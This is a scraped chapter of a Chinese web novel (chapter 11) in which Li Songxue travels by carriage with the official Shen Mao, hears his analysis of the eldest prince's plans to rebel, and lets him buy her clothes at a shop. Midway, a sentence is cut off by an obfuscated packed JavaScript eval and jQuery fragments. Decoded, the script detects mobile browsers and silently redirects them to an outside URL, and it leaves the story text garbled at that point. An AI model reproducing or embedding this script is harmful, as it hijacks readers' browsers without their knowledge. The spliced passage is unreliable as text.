默认冷灰
24号文字
方正启体

11. 指点江山

作者:紫旺来本书字数:K更新时间:
    厉松雪上楼去给沈卯送包子,刚要敲门,门忽然自己开了。


    往里一看,沈卯已穿戴整齐,开了门之后一边梳理自己的长发,一边自顾自地往里走。


    厉松雪本想放下包子便走,见他没有拿包子的意思,便跟着他进了门,将包子放桌子上。


    “方才你在楼下在与哪个男人说话?”沈卯看着窗外,头也没回道。


    厉松雪站在窗前,往下一看,见楼下就是方才的包子铺,但只能看见靠近马路一边,料想他听见了一些声音,但是看不见人。


    厉松雪莫名有些心虚,但她仔细一想,没有道理心虚啊!


    因此她理直气壮道:“没谁啊。”


    “你瞒着我,我都看见了,你还收了他的荷包。”沈卯坐在桌子的对面,捂着心口黯然道:“其实我也没有朋友,还一厢情愿地拿你当朋友,结果真是我自作多情了。”


    或许是上回沈卯教得好,厉松雪这次反应过来。


    “可你上回教我的,我想做什么或是想说什么,都是依着我自己的想法来,不可因他人的威逼利诱或是激将法改变想法。”


    沈卯听了这话被气笑了,先前是为了防止她被别人骗,哪里想到回旋镖扎自己身上了。


    但他也不是耍赖的人,反倒觉得自己的小恩人似乎越来越有趣了。


    开始在将军府见到她,觉得她像根竹子,清清冷冷的似乎慧在心灵,可接触了才发现她憨厚的可爱,现在看了,似乎更有趣了。


    聪敏,会举一反三,他仅提点过一句的话便记在了心里。


    想到这里,沈卯想起一种可能,厉松雪先前那么憨厚或许是厉安那两口子教的。


    真是害人不浅!


    “是我错了。”沈卯当即道歉,并催促厉松雪出发。


    厉松雪架着马车准备出城,不时回头回应一下滔滔不绝的沈卯。


    或许是她摘了假胡子的原因,沈卯也不懒洋洋地躺在马车里了,坐在马车前面,不时掀起帘子看着她的背影与她说话。


    “走快些,我得到消息,京城里有些人好像不安分,似乎有事将要发生。”沈卯数不清第几次掀开帘找话头。


    “这样不紧不慢地跑最好,若是短时间快跑,马也受不了。”


    “我说的不是马的问题,我说朝中有人并不安分。”沈卯又重复一遍。


    “还请大人细说。”老实人如梦初醒,终于找到重点。


    “我收到消息,今日京城多了不少新面孔,大皇子派的人似乎有所异动,还有人时常拜访你们将军府,你可知情。”


    大皇子那派人或许还在拉拢厉安,而自己先前写信给父亲,他应该不会再答应大皇子了,那这个告诉他也无妨。


    厉松雪如实回答道:“大皇子或许是想要拉拢父亲。”


    “不可答应他,大皇子现在还不到谋反的时候,早早与他结交在皇帝看来便是拉帮结派。”沈卯分析道。


    “你知道大皇子想要谋反?”厉松雪惊讶道。


    “大皇子之心路人皆知,你看他那副花孔雀的样子,见到女子便贴上去,见了可拉拢的人装的掏心掏肺,表面上还冠冕堂皇的,实际上任谁看了都知道他安的是什么心。”沈卯说起大皇子来,鄙夷之色毫不掩饰。


    “自然也会有些人想要支持他,皇上这位子坐得太久了,他十岁时少年继位,坐龙椅快五十个年头了,其中熬走多少大臣,有些人等不了。”


    厉松雪对朝中之事不太了解,便仔细听沈卯讲,心中也在嘀咕从佞臣口中说出来的会不会是有问题的。


    “为什么等不了?”


    “皇上一直都是温和改良派,能不大动便不动,可现在他老了,更是什么都不愿动,可朝中多的是一些新升上来的官,他们渴望做些大事,一片死水的朝堂压得他们什么也做不了,于是他们想要扶持新皇帝。”


    “那为何是大皇子?”


    “你看,我可没拿你当外人,什么话都愿意与你说,可你都收了别人的荷包,也不愿给我看一眼。”沈卯想起早上的事又开始旧事重提。


    “这是我的荷包,只不过是掉在了地上,有人帮我捡了起来。”厉松雪摘下荷包,随手扔给沈卯。


    “给我了?那我可要收下了。”沈卯拿起荷包,仔细看了看,浅蓝色的荷包,上面绣着一棵歪歪扭扭的松树,线脚粗糙。


    “我只是借你看看,不许动我的银子。”若是沈卯不及时发镖资,她得用自己的银子先垫付给镖师。


    沈卯:“……”


    难道他已落魄到要骗人的银子?


    还是说在厉松雪眼里他就是这样的一个人?


    沈卯将荷包翻来覆去地看,“这是你的侍女给你绣的?修成这样可不能给赏银,你看这歪歪扭扭的树干,看这忽大忽小粗糙的叶子,我绣的都比这好看!”


    “这是我绣的。”厉松雪干巴巴道。


    前世专心研究这些都锈成那样,更别说这辈子几乎没摸过针线活,这已经是绣的最好的一个了。


    沈卯:“……”


    沉默在马车中蔓延,厉松雪觉得尴尬,更不愿起个话头。


    终于沈卯开口道:“到前面那家成衣铺停一下,我买点针线给你的荷包改个样子。”


    厉松雪找了个地方停下马车,本想在马车上等沈卯回来,可沈卯眉毛一挑,“你不来?那若我孤身一人在里面被刺杀了该如何?”


    老实人也理解这些贵人怕死的想法,便无奈跟着进去。


    刚一进门,老板便出来招呼,“两位要点什么?


    “竟只有个女老板,少见。”沈卯随口应了声,“要点针线,各色丝线都来点。”


    “怎么?就许你们男人开店铺,女子开不得?”老板笑着嗔了一句。


    “没有这个意思,只是现在世道越来越乱了,最好身边留点人,也多个照应。”沈卯拿起一件橙红色的襦裙,转身在厉松雪身上比对着。


    “那我是误会公子的意思了。”老板也不在意,笑嘻嘻地看沈卯给厉松雪挑衣服,


    厉松雪见沈卯拿了几件,都是女装,正纳闷他是给谁买的衣服,先前也没听说他有家室。


    “你适合穿红色的,衬得你皮肤白,也更好看。”沈卯又取了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583049|205145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    件红色披风,内层的毛皮很软。


    厉松雪肤色白,五官清冷出尘,又爱穿些蓝色,像朵素色的小白花。


    被红色一衬,倒显得人鲜活起来,更像个娇娇小姐。


    厉松雪见他的样子,仿佛是要给自己买衣服,连忙拒绝,她尚未婚配,怎能接受一个男子给他买的衣服?


    “将我方才拿的那几件都包起来。”沈卯不理会厉松雪的话,对老板娘说道。


    老板笑着答应着,“你们夫妻二人感情真好,看着叫人想起来年轻的时候。”


    厉松雪又红着脸连连否认,忽见沈卯微微笑着,站在一旁连一句话都未解释。


    等出了门,他将衣服直接塞进马车,与厉松雪的行李放在了一起,“不是特意给你买的,不必担心。”


    “只不过我这人爱热闹爱喜庆,你总穿那些老气横秋的,会干扰我赶路。”


    老实人哪里经历过这事,像被煮熟的螃蟹,红透了全身,但张牙舞爪的样子看起来更香了。


    “那你方才怎么不解释一句?”


    “萍水相逢的人,不必与他相争。”沈卯脸部红心不跳,给厉松雪灌输新观点。


    但这话若是被朝中那些大臣听见了,非气得那些老头子暴跳如雷。


    你抨击其他大臣的时候,是否有想过他们与你也是萍水相逢?


    沈卯在心中悄悄补了一句:“况且她说的也不是什么坏话,若真是这样便好了。”


    马车载着二人出了南杨县,路上的梧桐叶前些日子掉的只剩下几片。


    最后几片叶子在寒风中摇摇欲坠,沈卯披上厚厚的斗篷,此时也不嫌冷了,拉开了马车的帘,一片枫叶掉在马车上,他捡了起来,透过毛茸茸的枫叶看厉松雪的背影。


    “你还想知道为什么他们支持大皇子吗?”沈卯突然道。


    厉松雪一愣,想起先前她问的问题沈卯还未回答,回道:“为何?”


    “因为大皇子他太简单了,什么都写在脸上,二皇子身体虽弱,整日咳得怕要先走一步,但他喜怒不形于色,两相比较,还是大皇子好效忠,也更容易挑拨。”


    厉松雪想了想,觉得沈卯说的很有道理,紧接着便听他继续说道:“比如你的父亲,恐怕脑子全长打仗上去了,若朝中有人想抓他的把柄,简直是手到擒来。”


    厉松雪:“……”


    “但你放心,他太简单了,皇帝也不会相信他能做出什么坏事,除非是站错了队,不然他的帽子可以一直带着。”沈卯见厉松雪眉头皱了起来,连忙补充道。


    可厉松雪还是很担忧,朝堂对于厉安来说确实太过危险,回去还是得叫父亲辞官离开京城。


    可大皇子似乎不肯放手,若是父亲辞官但皇上不同意该如何?


    若此事被大皇子知道了岂不是故意躲着他,那定然也会引起报复。


    “大皇子有成功的可能性吗?”厉松雪追问道。


    “有,但不多,且现在还不到他造反的时候,还差一把火。”


    “什么火?”


    “我引来的火。”沈卯看着厉松雪,温和笑道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)